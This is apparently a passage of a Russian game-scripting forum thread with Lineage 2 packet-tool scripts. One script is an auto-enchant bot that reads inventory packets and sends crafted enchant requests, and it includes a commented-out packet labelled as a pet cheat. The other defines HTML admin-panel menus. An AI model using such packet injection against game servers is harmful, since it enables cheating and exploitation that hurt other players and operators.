//if ListCount>maxitems then msg.Lines.Add('Внимание! Не все вещи влезли в массив. ListCount>Max='+IntToStr(ListCount)+'/'+IntToStr(maxitems));
j:=8; //смещение для ObjectID
//Пробегаем по Инвентарю и сохраняем ObjectID соответствующие необходимым ItemID
for i:=1 to ListCount do begin
itemBase[1,i]:=ReadD(j); //OID
itemBase[2,i]:=ReadD(j); //ItemID
itemBase[3,i]:=ReadD(j); //кол-во
inc(j,10);
itemBase[4,i]:=ReadH(j);//EnchantLevel
// msg.Lines.Add('i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
if interlude then inc(j,12) else inc(j,4);
//msg.Lines.Add('j='+inttostr(j));
end;
//вносим изменения в чекбоксы
StringList.Clear;
try
for i:=1 to ListCount do begin
try
//StringList.Add(ItemsName[ItemBase[2,i]-1]); //записываем название вещей из инвентаря
StringList.Add(ItemsName.Values[IntToStr(ItemBase[2,i])]); //записываем название вещей из инвентаря
except;
msg.Lines.Add('Пропускаем! Нет ItemID='+inttostr(ItemBase[2,i])+' в itemsid.ini');
end
end;
except;
msg.Lines.Add('ошибка в CreateItemBase->StringList.Add()');
msg.Lines.Add(inttostr(ItemBase[2,i]));
exit;
end;
if not CheckBoxItem.Checked then begin //наполняем комбобокс
with ComboBoxItem do
begin
Items.Clear;
Items.Assign(StringList);
ItemIndex:=0;
end;
end;
if not CheckBoxScroll.Checked then begin //наполняем комбобокс
with ComboBoxScroll do
begin
Items.Clear;
Items.Assign(StringList);
ItemIndex:=0;
end;
end;
end;
//......................................
//************************************************** ****************************
//27=InventoryUpdate:w(count)w(1add2mod3remove)w(ite mType1)d(ObjectID)i(ItemId)d(Count)w(itemType2)w(c usType1)w(isEquipped)d(BodyPart)w(EnchantLevel)w(c usType2)-(8)
procedure InventoryUpdate; //пакет 27, обновляет базу ObjectID по ItemID
var
i, ii, j, ItemOID, ItemID, ItemCount, ListCount, UpdType, Itemlvl: integer;
add : boolean;
begin
add:=false;
ListCount:=ReadH(2); //количество итемов
//Пробегаем по Инвентарю и сохраняем пары ObjectID - lvl
j:=4; //смещение для действия с предметом 1-добавлен 2-изменен 3-удален
for ii:=1 to ListCount do begin
UpdType:=ReadH(j);
//inc(j,2);
ReadH(j); //ItemType1
ItemOID:=ReadD(j); //ObjectID
ItemID:=ReadD(j); //ItemID
itemCount:=ReadD(j); //кол-во
inc(j,10);
Itemlvl:=ReadH(j);
case UpdType of
//добавлен
1: begin
for i:=1 to max do begin
if (ItemBase[1,i]=0) and (add=false) then begin
ItemBase[1,i]:=ItemOID;
ItemBase[2,i]:=ItemID;
ItemBase[3,i]:=ItemCount;
ItemBase[4,i]:=Itemlvl;
msg.Lines.Add('Добавили предмет!');
msg.Lines.Add('i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
add:=true;
end;
end;
end;
//изменен
2: begin
for i:=1 to max do begin
if ItemBase[1,i]=ItemOID then begin
ItemBase[3,i]:=ItemCount;
ItemBase[4,i]:=Itemlvl;
msg.Lines.Add('Изменяем параметры предмета!');
msg.Lines.Add('i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
end;
end;
end;
//удален
3: begin
for i:=1 to max do begin
if ItemBase[1,i]=ItemOID then begin
msg.Lines.Add('Удаляем предмет!');
msg.Lines.Add('i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
ItemBase[1,i]:=0;
ItemBase[2,i]:=0;
ItemBase[3,i]:=0;
ItemBase[4,i]:=0;
end;
end;
end;
end;
if interlude then inc(j,10) else inc(j,2);
//msg.Lines.Add('j='+inttostr(j));
end;
end;
//......................................
//************************************************** ****************************
//находим в инвентаре предмет с ItemID и возвращаем его ObjectID
function GetItem(item:integer; lvl:integer) : integer;
var
i : integer;
begin
for i:=1 to max do begin
//находим подходящий предмет по ItemID
if (ItemBase[2,i]=item) and (ItemBase[4,i]=lvl) then begin
//если нашли, то возвращаем ObjectID предмета
result:=ItemBase[1,i]; // itemOID
ItemCount:=ItemBase[3,i];
//Itemlvl:=ItemBase[4,i];
//msg.Lines.Add('<item='+inttostr(item)+' lvl='+inttostr(lvl)+'> i='+inttostr(i)+' ItemOID='+IntToStr(ItemBase[1,i])+' ItemID='+IntToStr(ItemBase[2,i])+' ItemKol='+IntToStr(ItemBase[3,i])+' ItemLVL='+IntToStr(ItemBase[4,i]));
exit;
end;
end;
//ничего не нашли
result:=0;
end;
//......................................
//************************************************** ****************************
procedure UseItem(ObjectID: integer);
begin
buf:=#$14;
WriteD(ObjectID);
WriteD(0);
SendToServerEx(Name);
end;
//......................................
//************************************************** ****************************
function SumItem(Item: integer):integer;
var
sum, i : integer;
begin
result:=0;
//находим подходящий предмет по ItemID
for i:=1 to max do begin
if (ItemBase[2,i]=item) then begin
// msg.Lines.Add('Нашли предмет ItemOID='+inttostr(ItemBase[1,i])+' ItemID='+inttostr(ItemBase[2,i])+' ItemCol='+inttostr(ItemBase[3,i])+' EnchantLvl='+inttostr(ItemBase[4,i]));
// msg.Lines.Add('i='+inttostr(i));
result:=result+ItemBase[3,i];
//inc(result);
end;
end;
end;
//......................................
//************************************************** ****************************
procedure RequestEnchantItem(ObjectID: integer);
begin
buf:=#$58;
WriteD(ObjectID);
SendToServerEx(Name);
//*********** использовать чит с петом ************************
{ buf:=#$8B;
WriteD(ObjectID);
writed(1);
SendToServerEx(Name);
} //***********
end;
//......................................
{//************************************************** *************
function ExtractIDValues(sData: string): integer;
var
s: string;
i,j: integer;
begin
i:=0;
s:=sData;
i:=pos('=',s);
if i>=0 then
s:=copy(s,1,i-1);
try
result:=strtoint(s);
except
result:=0;
end;
end;
//............................................}
//************************************************** ****************************
procedure OnTimer(Sender: TObject);
begin
EditItemVal.text:=inttostr(sumitem(ItemID));
EditScrollVal.text:=inttostr(sumitem(ScrollID));
if (CurEnchLvl>=strtoint(Edit1.Text)) then begin
msg.Lines.Add('Нечего точить! Прервано!');
timer.enabled:=false;
exit;
end;
if (sumitem(ItemID)<=1) then begin
// if (sumitem(ItemID)<=0) then begin //если надо точить одну вещь
msg.Lines.Add('Прервано!');
timer.enabled:=false;
exit;
end;
ScrollOID:=GetItem(ScrollID,0);
if ScrollOID=0 then begin
msg.Lines.Add('Нет заточки! Прервано!');
timer.enabled:=false;
exit;
end;
UseItem(ScrollOID);
msg.Lines.Add('Задействовали скролл ScrollID='+IntToStr(scrollID)+' ScrollOID='+IntToStr(ScrollOID));
ready:=true; //готовы затачивать
// delay(1000);
// RequestEnchantItem(Item);
// delay(1000);
//************************************************
// msg.Lines.Add('Пробуем улучшить ItemID='+IntToStr(Item));
// end;
end;
//......................................
//************************************************** *************
// Вся торговля здесь!!!
//************************************************** *************
{procedure OnTrade1(Sender: TObject);
begin
case trade of
//-------------------------------------------------
//покупаем у Misc Trader из массива TradeBuyItem1
//-------------------------------------------------
100: begin
if ReadyToBuy then exit; //если еще купили предыдущую вещь, то выходим сразу
//мы у фишермана, покупаем крючки
if FishermanOID=0 then begin
Trade1.enabled:=false; //останавливаем торговлю
msg.Lines.Add('Не готовы к торговле, нет OID фишермана! Требуется отбежать подальше и вернуться.');
exit; //выходим
end;
if TradeCount=TradeBuyItemCount then begin //проверка на выход из массива
trade:=400;
msg.Lines.Add('Всё купили!');
msg.Lines.Add('Переход к обмену...');
TradeCount:=0; //начнем сначала массива
end else begin
if FindItem(TradeBuyItem[TradeCount])<strtoint(EditLure.text) then begin
TargetAttacker(FishermanOID); //фишермана в таргет
msg.Lines.Add('Готовы купить:'+inttostr(TradeBuyItem[TradeCount]));
ReadyToBuy:=true; //готовы продавать
NeedBuy:=strtoint(EditLure.text)-colvoitm2; //докупаем до 50
msg.Lines.Add('Требуется докупит крючков:'+inttostr(NeedBuy));
end else msg.Lines.Add('Не надо покупать, уже есть:'+inttostr(colvoitm2));
Trd:=TradeCount;
inc(TradeCount);
msg.Lines.Add('TradeCount/TradeBuyItemCount:'+inttostr(TradeCount)+'/'+inttostr(TradeBuyItemCount-1));
end;
//-------------------------------------------------
//покупаем у Armor Trader из массива TradeBuyItem2
//-------------------------------------------------
200: begin
if ReadyToBuy then exit; //если еще купили предыдущую вещь, то выходим сразу
//мы у фишермана, покупаем крючки
if FishermanOID=0 then begin
Trade1.enabled:=false; //останавливаем торговлю
msg.Lines.Add('Не готовы к торговле, нет OID фишермана! Требуется отбежать подальше и вернуться.');
exit; //выходим
end;
if TradeCount=TradeBuyItemCount then begin //проверка на выход из массива
trade:=400;
msg.Lines.Add('Всё купили!');
msg.Lines.Add('Переход к обмену...');
TradeCount:=0; //начнем сначала массива
end else begin
if FindItem(TradeBuyItem[TradeCount])<strtoint(EditLure.text) then begin
TargetAttacker(FishermanOID); //фишермана в таргет
msg.Lines.Add('Готовы купить:'+inttostr(TradeBuyItem[TradeCount]));
ReadyToBuy:=true; //готовы продавать
NeedBuy:=strtoint(EditLure.text)-colvoitm2; //докупаем до 50
msg.Lines.Add('Требуется докупит крючков:'+inttostr(NeedBuy));
end else msg.Lines.Add('Не надо покупать, уже есть:'+inttostr(colvoitm2));
Trd:=TradeCount;
inc(TradeCount);
msg.Lines.Add('TradeCount/TradeBuyItemCount:'+inttostr(TradeCount)+'/'+inttostr(TradeBuyItemCount-1));
end;
end;
end;
end;
}//......................................
//************************************************** ****************************
// вызывается при приходе каждого пакета, если скрипт включен
//************************************************** ****************************
begin
//************************************************** **************************
//не обрабатываем пустые пакеты
if pck='' then exit;
//************************************************** **************************
//покупка состоит из следующих шагов:
//1. таргет на продавце, пауза, снова таргет c04=Action, c04=Action
//2. приходит s0F=NpcHtmlMessage:d(MessageID)s(HTML)d(d)
//3. шлем выбранный пункт из меню c21=RequestBypassToServer:s(Cmd)
//4. приходит s11=BuyList:d(Money)h(ListID)w(ListCount)w(ItemTyp e1)h(ObjectID)i(ItemID)d(maxcnt)w(ItemType2)w(h)d( ItemBodyPart)
//5. FindItem(ID) найдем OID, Count нужной вещи по ID
//6. шлем c1F=RequestBuyItem:h(ListID)d(BuyCount)i(ItemID)d( Count)
//************************************************** **************************
{ if ReadyToBuy and (FishermanOID<>0) then begin
if (ConnectName=Name) and FromServer then begin
case pck[1] of
//после того как мы взяли в таргет продавца приходит этот пакет
//s0F=NpcHtmlMessage:d(MessageID)s(HTML)d(d)
#$0F: begin
msg.Lines.Add('S>Пакет NpcHtmlMessage #$0F');
if ReadD(2)=FishermanOID then begin
//шлем запрос выбора пункта - продажа
//c21=RequestBypassToServer:s(Cmd)
delay(1000);
RequestByPassToServer(getbuylist);
msg.Lines.Add('C>Пакет RequestBypassToServer #$21 (sell)');
end;
end;
//после выбора пункта - продажа, приходит этот пакет
//s11=BuyList:d(Money)h(ListID)w(ListCount)w(ItemTyp e1)h(ObjectID)i(ItemID)d(maxcnt)w(ItemType2)w(h)d( ItemBodyPart)
#$11: begin
msg.Lines.Add('S>Пакет BuyList #$11');
ListID:=ReadD(6); //запоминаем, он все время разный
msg.Lines.Add('ListID='+inttostr(ListID));
//шлем запрос на продажу
//1F=RequestBuyItem:h(ListID)d(BuyCount)i(ItemID)d(C ount)
msg.Lines.Add('C>Пакет RequestBuyItem #$1F');
//продадим первый из списка
msg.Lines.Add('Item: ID:'+IntToStr(TradeBuyItem[Trd])+' Count:'+IntToStr(NeedBuy));
delay(1000);
RequestBuyItem(TradeBuyItem[Trd],NeedBuy);
ReadyToBuy:=false;
end;
end;
end;
end;
} //......................................
//************************************************** **************************
if FromServer then
case pck[1] of
//......................................
//Пакет ItemList
#$1B: CreateItemBase; //создание базы предметов
//......................................
//если удалили предметы, стираем в базе предметов пары ObjectID - ItemID
#$27: InventoryUpdate; //Обновление базы
//......................................
//Пакет ChooseInventory
#$6F: if ready then begin //and (readd(2)=itemid)
//ищем подходящий предмет для заточки
timer.enabled:=false; //отключаем пока не найдем предмет для заточки
repeat
ItemOID:=GetItem(ItemID,CurEnchLvl);
if ItemOID=0 then begin
inc(CurEnchLvl);
Edit2.text:=inttostr(CurEnchLvl);
end;
until ItemOID<>0;
//************************************************
msg.Lines.Add('Пробуем улучшить ItemID='+IntToStr(ItemID)+' ItemOID='+IntToStr(ItemOID));
RequestEnchantItem(ItemOID);
ready:=false;
timer.enabled:=true; //пока в тесте отключаем (вкл. после заточки предмета)
end;
#$81: if readd(2)=0 then begin
CurEnchLvl:=0; //начнем с начала
end;
end;
end.

xDontStopx
20.04.2012, 20:00
Панель администратора.
{**
*** Панель администратора
**}

var
cmd: String;
Bypass : String;
Param : String;
CaptureSkills : boolean;
SkillsList : TStringList;
Id, Lvl, i, s, NumSkills : Integer;
CurrSkill : Integer;

TimerForSkills : TTimer;
CounterForSkills : Integer;

const
MainMenu = '<html><title>Панель администратора</title><body>'+
'<center>'+
'<table width=240><tr>'+
'<td><button value="Телепорт" action="bypass -h admin_teleport" width=65 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Предметы" action="bypass -h admin_items" width=65 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Умения" action="bypass -h admin_skills" width=65 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Вызов" action="bypass -h admin_summon" width=65 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td></tr></table><br><br>'+
'<edit var="qbox" width=120 height=15><br>'+
'ГМ Комманды:'+
'<table width=240><tr>'+
'<td><button value="Hide on" action="bypass -h admin_hideon" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Hide off" action="bypass -h admin_hideoff" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="GMList On" action="bypass -h admin_gmliston" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="GMList Off" action="bypass -h admin_gmlistoff" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="В тюрьму" action="bypass -h admin_gcr" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="В город" action="bypass -h admin_sh" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Raid Curse" action="bypass -h admin_rc" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Dispel All" action="bypass -h admin_dall" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Diet on" action="bypass -h admin_dieton" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Diet off" action="bypass -h admin_dietoff" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Fake" action="bypass -h admin_fake" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Show party" action="bypass -h admin_showpty" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Set Karma" action="bypass -h admin_karma $qbox" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Strider" action="bypass -h admin_strider" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Wyvern" action="bypass -h admin_wyvern" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Announce" action="bypass -h admin_annou $qbox" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Kick" action="bypass -h admin_kick" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Full HP/MP" action="bypass -h admin_heal" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Ress" action="bypass -h admin_ress" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Disp Petr" action="bypass -h admin_dispp" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="ПМ вкл" action="bypass -h admin_pmon" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="ПМ выкл" action="bypass -h admin_pmoff" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Рестарт" action="bypass -h admin_restart" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr></table>'+
'</center>'+
'</body></html>';

TeleportMenu = '<html><title>Панель администратора: Телепорт</title><body>'+
'<center>-==[ Города ]==-'+
'<table width=240><tr>'+
'<td><button value="TI" action="bypass -h admin_tp_ti" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Gludin" action="bypass -h admin_tp_gludin" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Gludio" action="bypass -h admin_tp_gludio" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Dion" action="bypass -h admin_tp_dion" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Giran" action="bypass -h admin_tp_giran" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Heine" action="bypass -h admin_tp_heine" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Oren" action="bypass -h admin_tp_oren" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Aden" action="bypass -h admin_tp_aden" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Goddard" action="bypass -h admin_tp_goddard" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Rune" action="bypass -h admin_tp_rune" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Schuttgart" action="bypass -h admin_tp_schuttgart" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Floran" action="bypass -h admin_tp_floran" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Hunter" action="bypass -h admin_tp_hunter" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Elven" action="bypass -h admin_tp_elven" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="DarkElf" action="bypass -h admin_tp_darkelf" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Dwarf" action="bypass -h admin_tp_dwarf" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr></table><br><br>'+
'-==[ Другие места ]==-<br>'+
'<table width=240><tr>'+
'<td><button value="Водопад" action="bypass -h admin_tp_singwat" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Над ГЦ" action="bypass -h admin_tp_gc" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Тюрьма" action="bypass -h admin_tp_gmcr" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Rainbow" action="bypass -h admin_tp_rainbow" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr></table><br><br>'+
'<button value="Back" action="bypass -h admin_back" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</center>'+
'</body></html>';

ItemsMenu = '<html><title>Панель администратора: Предметы</title><body>'+
'<center>'+
'[Бижа]'+
'<table width=280>'+
'<tr><td><a action="bypass -h admin_rb">Сет эпической бижи</a></td></tr>'+
'</table><br>'+
'[Сеты]'+
'<table width=280>'+
'<tr><td><a action="bypass -h admin_dlb">Dynasty Leather Armor [Bow Master]</a></td></tr>'+
'<tr><td><a action="bypass -h admin_dld">Dynasty Leather Armor [Dagger Master]</a></td></tr><br>'+
'<tr><td><a action="bypass -h admin_dhf">Dynasty Blast Plate [Force Master]</a></td></tr><br>'+
'<tr><td><a action="bypass -h admin_dtw">Dynasty Tunic [Human Wizard]</a></td></tr><br>'+
'<tr><td><a action="bypass -h admin_dls">Draconic Leaser Set</a></td></tr><br>'+
'<tr><td><a action="bypass -h admin_ics">Imperial Crusader Set</a></td></tr><br>'+
'<tr><td><a action="bypass -h admin_dks">Dark Crystal Set</a></td></tr><br>'+
'<tr><td><a action="bypass -h admin_mls">Majestic Leather Set</a></td></tr><br>'+
'<tr><td><a action="bypass -h admin_abs">Apella Brigandine Set</a></td></tr><br>'+
'<tr><td><a action="bypass -h admin_mas">Major Arcana Robe Set</a></td></tr><br>'+
'</table><br>'+
'[Оружие]'+
'<table width=280>'+
'<tr><td><a action="bypass -h admin_d30k">Knife 30k P.Atk</a></td></tr>'+
'<tr><td><a action="bypass -h admin_l30k">Lance 30k P.Atk</a></td></tr>'+
'<tr><td><a action="bypass -h admin_dinobow">Dynasty Bow [Focus]</a></td></tr>'+
'<tr><td><a action="bypass -h admin_icarusbow">Icarus Spitter [Focus]</a></td></tr>'+
'<tr><td><a action="bypass -h admin_tbxdle">Tallum Blade * Dark Legion''s Edge</a></td></tr>'+
'<tr><td><a action="bypass -h admin_arca">Arcana Mace [Acumen]</a></td></tr>'+
'<tr><td><a action="bypass -h admin_dma">Dynasty Mace [Acumen]</a></td></tr>'+
'<tr><td><a action="bypass -h admin_icma">Icarus Hall Mace [Acumen]</a></td></tr>'+
'</table><br>'+
'[Оружие монстров]'+
'<table width=280>'+
'<tr><td><a action="bypass -h admin_modk">Doll Knife</a></td></tr>'+
'<tr><td><a action="bypass -h admin_moahr">Ahrimanes</a></td></tr>'+
'<tr><td><a action="bypass -h admin_moahr">Orc Officer</a></td></tr>'+
'<tr><td><a action="bypass -h admin_moffc">Follower of Frintezza Calibur</a></td></tr>'+
'<tr><td><a action="bypass -h admin_mofftc">Follower of Frintezza Tran Calibur</a></td></tr>'+
'</table><br>'+
'[Щиты]'+
'<table width=280>'+
'<tr><td><a action="bypass -h admin_nls">Nephilim Lord</a></td></tr>'+
'</table><br>'+

'<button value="Back" action="bypass -h admin_back" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</center>'+
'</body></html>';

SkillsMenu = '<html><title>Панель администратора: Умения</title><body>'+
'<center>'+
'<edit var="qbox" width=120 height=15><br>'+
'<table width=240><tr>'+
'<td><button value="Загрузить" action="bypass -h admin_loadskills $qbox" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Сохранить" action="bypass -h admin_saveskills $qbox" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Дать" action="bypass -h admin_giveskills $qbox" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Копировать" action="bypass -h admin_copyskills $qbox" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Добавить" action="bypass -h admin_addskill $qbox" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr></table><br>'+
'<button value="Back" action="bypass -h admin_back" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</center>'+
'</body></html>';

SummonMenu = '<html><title>Панель администратора: Вызов</title><body>'+
'<center>'+
'<edit var="qbox" width=120 height=15><br>'+
'<button value="Вызвать" action="bypass -h admin_summnpc $qbox" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"><br><br>'+
'-==[Рейд боссы]==-<br>'+
'<table width=240><tr>'+
'<td><button value="Baium" action="bypass -h admin_baium" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Antharas" action="bypass -h admin_antharas" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Gordon" action="bypass -h admin_gordon" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Lilith" action="bypass -h admin_lilith" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td></tr><tr>'+
'<td><button value="Anakim" action="bypass -h admin_anakim" width=66 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr></table><br><br>'+
'-==[NPC]==-<br>'+
'<table width=240><tr>'+
'<td><button value="Cat A" action="bypass -h admin_cata" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Дерево" action="bypass -h admin_tree" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Колодец" action="bypass -h admin_well" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Шкаф" action="bypass -h admin_bookshelf" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Сундук" action="bypass -h admin_chest" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Ёлка" action="bypass -h admin_ctree" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Палатка" action="bypass -h admin_fow" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Шатер" action="bypass -h admin_bf" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Скульптура" action="bypass -h admin_sculpt" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Sandstorm" action="bypass -h admin_sandstorm" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Алтарь" action="bypass -h admin_altar" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Грааль" action="bypass -h admin_grail" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Огонек" action="bypass -h admin_soul" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Яица" action="bypass -h admin_egg" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Камень" action="bypass -h admin_rock" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Клариса" action="bypass -h admin_clarissa" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr><tr>'+
'<td><button value="Поляна" action="bypass -h admin_table" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Taurin" action="bypass -h admin_taurin" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'<td><button value="Манумент" action="bypass -h admin_manofhero" width=68 height=17 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</tr></table><br><br>'+
'<button value="Back" action="bypass -h admin_back" width=90 height=25 back="L2UI_ct1.button_df"'+
'fore="L2UI_ct1.button_df"></td>'+
'</center>'+
'</body></html>';

procedure Init; //?????????? ??? ????????? ???????
begin
SkillsList:=TStringList.Create;

TimerForSkills:=TTimer.Create(nil);
TimerForSkills.OnTimer:=@OnTimerSkills;
TimerForSkills.enabled:=false;
TimerForSkills.interval:=1;
end;

